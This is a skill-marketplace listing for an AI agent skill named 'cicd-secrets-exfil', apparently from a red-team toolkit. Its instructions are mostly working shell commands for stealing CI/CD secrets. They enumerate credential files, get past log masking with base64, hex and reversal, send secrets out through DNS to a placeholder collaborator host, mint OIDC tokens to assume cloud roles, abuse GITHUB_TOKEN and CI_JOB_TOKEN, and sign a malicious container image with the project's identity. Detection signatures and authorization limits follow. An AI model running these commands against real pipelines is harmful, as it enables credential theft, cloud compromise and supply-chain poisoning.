Skip to main content

cicd-secrets-exfil

Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
1. Juni 2026 um 23:04
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
cicd-secrets-exfil
description
Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
allowed-tools
Bash Read Write
metadata
{"subdomain":"credential-access","when_to_use":"ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact","tags":"ci-cd, secrets, oidc, credential-access","mitre_attack":"T1552.001, T1552.007, T1078.004, T1528"}
# CI/CD Secrets & OIDC Exfiltration Pre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution/` or `github-actions-injection/`). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking. ## Surface map ```bash # In the runner — every place a secret might live env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head ``` ## Log masking — and how it fails GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially: ```bash SECRET="$MY_SECRET" # 1. Base64 — masker doesn't decode echo "$SECRET" | base64 -w0 # 2. Hex echo -n "$SECRET" | xxd -p # 3. Char-by-char (one char per line) echo "$SECRET" | fold -w1 # 4. Reverse echo "$SECRET" | rev # 5. Print length + first/last chars (use this for *proof*; don't print the whole secret) echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}" # 6. Split across two strings echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}" # 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/" # 8. Out-of-band — write to artifact then download echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64" # then: actions/upload-artifact -> attacker downloads ``` **For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure. ## What lives in `env` ```bash # GitHub Actions # - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org) # - secrets.* — explicitly referenced; only present if the step mapped them # - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache) # - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints # - ACTIONS_CACHE_URL — cache service endpoint # GitLab CI # - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings # - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry # - CI_DEPENDENCY_PROXY_USER / _PASSWORD # CircleCI # - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN ``` ## GitHub OIDC -> cloud role If the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it: ```bash # Mint an OIDC token from inside the job ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value) # Inspect claims (no secret — JWT is base64) echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow # AWS — assume role if trust policy matches the sub claim aws sts assume-role-with-web-identity \ --role-arn "$AWS_ROLE_ARN" \ --role-session-name research \ --web-identity-token "$ID_TOKEN" \ --duration-seconds 900 \ | jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}' # GCP — exchange for a Google access token via Workload Identity Federation # (requires the WIF pool/provider to trust the GitHub OIDC issuer) ``` **Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER/REPO:ref:refs/heads/BRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass. ## `GITHUB_TOKEN` abuse ```bash # What can this token do? (no secret leaked — just header inspection) curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes gh api /repos/$GITHUB_REPOSITORY --jq '.permissions' # Common abuses given `contents: write` + `pull-requests: write` gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release gh pr merge <N> --merge # merges a PR git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research # packages: write -> push a container to ghcr.io tagged as a "release" echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin ``` `GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence. ## GitLab `CI_JOB_TOKEN` ```bash # Job-token API surface — package registry, container registry, releases, child pipelines curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages" # If "CI/CD Job Token allowlist" is disabled (default historically), this token can access # OTHER projects in the same group — cross-project pivot curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main" ``` ## Cache / artifact secret leakage ```bash # Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job # Look for caches that include $HOME/.docker, $HOME/.aws, $HOME/.npmrc, ~/.gradle gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}' # Inside the job — list restored cache contents ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head # Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' . ``` ## Provenance / supply-chain pivot Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via `cosign` / `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases: ```bash # Sign a malicious image with the project's OIDC identity (Sigstore keyless) COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious" ``` This is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions/changed-files` incident exercised end-to-end. ## Detection signatures | Signal | Source | |---|---| | Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) | | `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) | | OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events | | `GITHUB_TOKEN` releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log | | Artifact / cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint | ## Tools | Tool | Use | |---|---| | `trufflehog` | Post-hoc scan of repo / job logs for leaked credentials | | `gitleaks` | Pre-commit + log-scan equivalent | | `gato-x secrets` | Automates the print + masking-bypass loop | | `cosign` / `sigstore` | Signing pivot once OIDC + push rights are in hand | | `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) | ## Decision gate 1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction. 2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session. 3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo). 4. Scrub any artifact / cache you created during the test before declaring done. ## References - GitHub docs — "About security hardening with OpenID Connect" - CICD-SEC-06 — "Insufficient Credential Hygiene" (OWASP) - Synacktiv — "GitHub Actions: Masking secrets is not enough" - Adnan Khan — Sigstore + GHA OIDC pivot writeups - `tj-actions/changed-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild
Auf GitHub ansehen